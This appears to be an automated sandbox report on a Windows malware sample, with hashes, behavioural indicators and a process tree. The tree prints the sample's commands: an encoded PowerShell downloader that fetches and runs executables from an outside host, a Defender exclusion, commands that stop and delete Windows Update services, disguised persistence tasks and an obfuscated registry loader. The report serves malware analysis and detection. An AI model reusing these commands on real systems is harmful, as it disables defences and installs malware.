Analysis
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max time kernel
151s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
28/01/2023, 19:30
Static task
static1
Behavioral task
behavioral1
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win10v2004-20221111-en
General
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Target
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
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Size
361KB
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MD5
18852c1659b6641a1f4eeacf6ce6bb8d
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SHA1
1d678410484e34165adb652f7e86a2b5cae5f58d
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SHA256
34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
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SHA512
86295df5931e4673fc6579c1d6425040dbf44c6fbd5c19a35228f1c9f8d4917944c8ff020998d4504853398e7640664bf10c275835b1bfa7a236a073ed518b74
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SSDEEP
6144:lUNamFD8LPUsNuwibRhinAoCRH+SXm+iMvOfcLpp0AdgqMGjEAOe75wBNEj+nc:lUFD8LPaw2RhinATReSXmPMvBBdqZBNU
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1732 created 1372 1732 SmartDefRun.exe 15 PID 1732 created 1372 1732 SmartDefRun.exe 15 PID 1732 created 1372 1732 SmartDefRun.exe 15 PID 1732 created 1372 1732 SmartDefRun.exe 15 PID 992 created 420 992 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 964 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 5 IoCs
pid Process 1696 C4Loader.exe 1616 new2.exe 560 SysApp.exe 1732 SmartDefRun.exe 1240 fodhelper.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 6 IoCs
pid Process 964 powershell.exe 964 powershell.exe 964 powershell.exe 964 powershell.exe 964 powershell.exe 964 powershell.exe -
Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1648 set thread context of 1264 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 31 PID 1732 set thread context of 1108 1732 SmartDefRun.exe 57 PID 992 set thread context of 1712 992 powershell.EXE 63 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1000 sc.exe 1948 sc.exe 868 sc.exe 1348 sc.exe 1484 sc.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 624 1648 WerFault.exe 27 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1292 schtasks.exe 1480 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3080dc805733d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 964 powershell.exe 964 powershell.exe 964 powershell.exe 964 powershell.exe 964 powershell.exe 964 powershell.exe 964 powershell.exe 964 powershell.exe 964 powershell.exe 560 SysApp.exe 560 SysApp.exe 560 SysApp.exe 560 SysApp.exe 560 SysApp.exe 1732 SmartDefRun.exe 1732 SmartDefRun.exe 2000 powershell.exe 1732 SmartDefRun.exe 1732 SmartDefRun.exe 1732 SmartDefRun.exe 1732 SmartDefRun.exe 1496 powershell.exe 1732 SmartDefRun.exe 1732 SmartDefRun.exe 992 powershell.EXE 1684 powershell.EXE 992 powershell.EXE 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe 1712 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeDebugPrivilege 964 powershell.exe Token: SeDebugPrivilege 2000 powershell.exe Token: SeDebugPrivilege 1496 powershell.exe Token: SeDebugPrivilege 992 powershell.EXE Token: SeDebugPrivilege 1684 powershell.EXE Token: SeDebugPrivilege 992 powershell.EXE Token: SeDebugPrivilege 1712 dllhost.exe Token: SeShutdownPrivilege 1372 Explorer.EXE Token: SeShutdownPrivilege 1372 Explorer.EXE Token: SeShutdownPrivilege 1372 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1648 wrote to memory of 1888 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1648 wrote to memory of 1888 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1648 wrote to memory of 1888 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1648 wrote to memory of 1888 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1648 wrote to memory of 272 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1648 wrote to memory of 272 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1648 wrote to memory of 272 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1648 wrote to memory of 272 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1648 wrote to memory of 1264 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 31 PID 1648 wrote to memory of 1264 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 31 PID 1648 wrote to memory of 1264 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 31 PID 1648 wrote to memory of 1264 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 31 PID 1648 wrote to memory of 1264 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 31 PID 1648 wrote to memory of 1264 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 31 PID 1648 wrote to memory of 624 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 32 PID 1648 wrote to memory of 624 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 32 PID 1648 wrote to memory of 624 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 32 PID 1648 wrote to memory of 624 1648 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 32 PID 1264 wrote to memory of 964 1264 vbc.exe 33 PID 1264 wrote to memory of 964 1264 vbc.exe 33 PID 1264 wrote to memory of 964 1264 vbc.exe 33 PID 1264 wrote to memory of 964 1264 vbc.exe 33 PID 964 wrote to memory of 1696 964 powershell.exe 35 PID 964 wrote to memory of 1696 964 powershell.exe 35 PID 964 wrote to memory of 1696 964 powershell.exe 35 PID 964 wrote to memory of 1696 964 powershell.exe 35 PID 964 wrote to memory of 1616 964 powershell.exe 36 PID 964 wrote to memory of 1616 964 powershell.exe 36 PID 964 wrote to memory of 1616 964 powershell.exe 36 PID 964 wrote to memory of 1616 964 powershell.exe 36 PID 964 wrote to memory of 560 964 powershell.exe 38 PID 964 wrote to memory of 560 964 powershell.exe 38 PID 964 wrote to memory of 560 964 powershell.exe 38 PID 964 wrote to memory of 560 964 powershell.exe 38 PID 964 wrote to memory of 1732 964 powershell.exe 39 PID 964 wrote to memory of 1732 964 powershell.exe 39 PID 964 wrote to memory of 1732 964 powershell.exe 39 PID 964 wrote to memory of 1732 964 powershell.exe 39 PID 1884 wrote to memory of 1348 1884 cmd.exe 46 PID 1884 wrote to memory of 1348 1884 cmd.exe 46 PID 1884 wrote to memory of 1348 1884 cmd.exe 46 PID 1884 wrote to memory of 1484 1884 cmd.exe 47 PID 1884 wrote to memory of 1484 1884 cmd.exe 47 PID 1884 wrote to memory of 1484 1884 cmd.exe 47 PID 1884 wrote to memory of 1000 1884 cmd.exe 48 PID 1884 wrote to memory of 1000 1884 cmd.exe 48 PID 1884 wrote to memory of 1000 1884 cmd.exe 48 PID 1884 wrote to memory of 1948 1884 cmd.exe 49 PID 1884 wrote to memory of 1948 1884 cmd.exe 49 PID 1884 wrote to memory of 1948 1884 cmd.exe 49 PID 1884 wrote to memory of 868 1884 cmd.exe 50 PID 1884 wrote to memory of 868 1884 cmd.exe 50 PID 1884 wrote to memory of 868 1884 cmd.exe 50 PID 1884 wrote to memory of 1064 1884 cmd.exe 51 PID 1884 wrote to memory of 1064 1884 cmd.exe 51 PID 1884 wrote to memory of 1064 1884 cmd.exe 51 PID 1884 wrote to memory of 680 1884 cmd.exe 52 PID 1884 wrote to memory of 680 1884 cmd.exe 52 PID 1884 wrote to memory of 680 1884 cmd.exe 52 PID 1884 wrote to memory of 1992 1884 cmd.exe 53 PID 1884 wrote to memory of 1992 1884 cmd.exe 53 PID 1884 wrote to memory of 1992 1884 cmd.exe 53 PID 1884 wrote to memory of 904 1884 cmd.exe 54 PID 1884 wrote to memory of 904 1884 cmd.exe 54
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:480
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:464
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:756
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:1172
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1112
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1248
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1036
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:892 -
C:\Windows\system32\taskeng.exetaskeng.exe {52533E71-16EA-42AC-93C2-D8D7D6C400BD} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:1820
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+'W'+'A'+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+'al'+[Char](101)+'r'+'s'+''+'t'+''+[Char](97)+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1684
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'TW'+'A'+''+[Char](82)+'E').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+'l'+'e'+[Char](114)+''+[Char](115)+''+'t'+''+[Char](97)+''+'g'+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:992
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C:\Windows\system32\taskeng.exetaskeng.exe {2AE84BE2-523B-47E2-84EF-738A3DC8FD48} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]3⤵PID:2008
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe4⤵
- Executes dropped EXE
PID:1240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:856
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:820
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:596
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:420
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{953d5be5-4ecc-4652-b369-d06f7b972f36}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1712
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵PID:1316
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\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵PID:1972
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1372 -
C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:1888
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:272
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:964 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1696
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
PID:1616
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:560 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:1480
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1732
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1648 -s 483⤵
- Program crash
PID:624
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1348
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1484
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1000
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1948
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:868
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1064
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:680
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1992
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:904
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1496 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1292
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1108
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:488
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
